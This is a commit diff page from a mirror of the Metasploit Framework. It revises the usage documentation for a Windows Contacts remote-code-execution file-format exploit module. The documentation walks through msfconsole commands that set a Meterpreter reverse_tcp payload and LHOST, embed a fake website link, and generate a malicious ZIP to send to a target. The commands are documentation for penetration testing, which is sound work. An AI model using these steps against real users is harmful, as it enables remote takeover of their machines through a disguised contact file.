infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated documentation to reflect new simplified module options

master
asoto-r7 2019-04-10 17:14:47 -05:00
parent 62bf38d530
commit 324f2f0939
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
1 changed files with 12 additions and 15 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

27
documentation/modules/exploit/windows/fileformat/microsoft_windows_contact_remote_code_execution.md
View File

@ -1,6 +1,5 @@
## Description ## Description
12345678901234567890123456789012345678901234567890123456789012345678901234567890
This module allows remote attackers to execute arbitrary code on vulnerable This module allows remote attackers to execute arbitrary code on vulnerable
installations of Microsoft Windows. User interaction is required to exploit installations of Microsoft Windows. User interaction is required to exploit
this vulnerability in that the target must visit a malicious page or open a this vulnerability in that the target must visit a malicious page or open a
@ -30,10 +29,10 @@ Windows Contacts
2. `use exploit/windows/fileformat/microsoft_windows_contact_remote_code_execution` 2. `use exploit/windows/fileformat/microsoft_windows_contact_remote_code_execution`
3. Configure the payload. For example: `set PAYLOAD windows/x64/meterpreter/bind_tcp` 3. Configure the payload. For example: `set PAYLOAD windows/x64/meterpreter/bind_tcp`
4. Configure the payload parameters. For example: `set LHOST 192.168.1.1` 4. Configure the payload parameters. For example: `set LHOST 192.168.1.1`
5. Set the output internal file: `set FILENAME msf.com` 5. Enter the name of the user to be embedded in the contact, which will also be used as the filename for the .ZIP and .CONTACTS files. For example, `set FILENAME John Smith`
6. Set the name of the contact: `set FULL_NAME John Smith` 6. Enter the fake URL that the user must click to launch the payload. Note, this does not need to be a valid domain. For example: `set WEBSITE metasploit.com`
7. Set the output of the ZIP to be delivered to the target: `set ZIP John Smith.zip` 7. `run`
8. `run` 8. Confirm the ZIP file was created, and that it contains a `.CONTACT` file along with a payload in the `http` folder.
## Scenarios ## Scenarios
@ -42,23 +41,21 @@ Windows Contacts
1. Configure the module-specific settings. 1. Configure the module-specific settings.
``` ```
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set FILENAME metasploit.com msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set WEBSITE metasploit.com
FILENAME => metasploit.com WEBSITE => metasploit.com
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set FULL_NAME David Davidson msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set FILENAME John Smith
FULL_NAME => David Davidson FILENAME => John Smith
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set ZIP David Davidson.zip
ZIP => David Davidson.zip
``` ```
2. Configure the payload. 2. Configure the payload.
``` ```
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set LHOST 192.168.199.148 msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > set LHOST 192.168.1.148
LHOST => 192.168.199.148 LHOST => 192.168.1.148
msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > run msf5 exploit(windows/fileformat/microsoft_windows_contact_remote_code_execution) > run
[*] Creating 'David Davidson.zip' [+] Creating 'John Smith.zip'
``` ```
3. Send the ZIP to the target machine. 3. Send the ZIP to the target machine.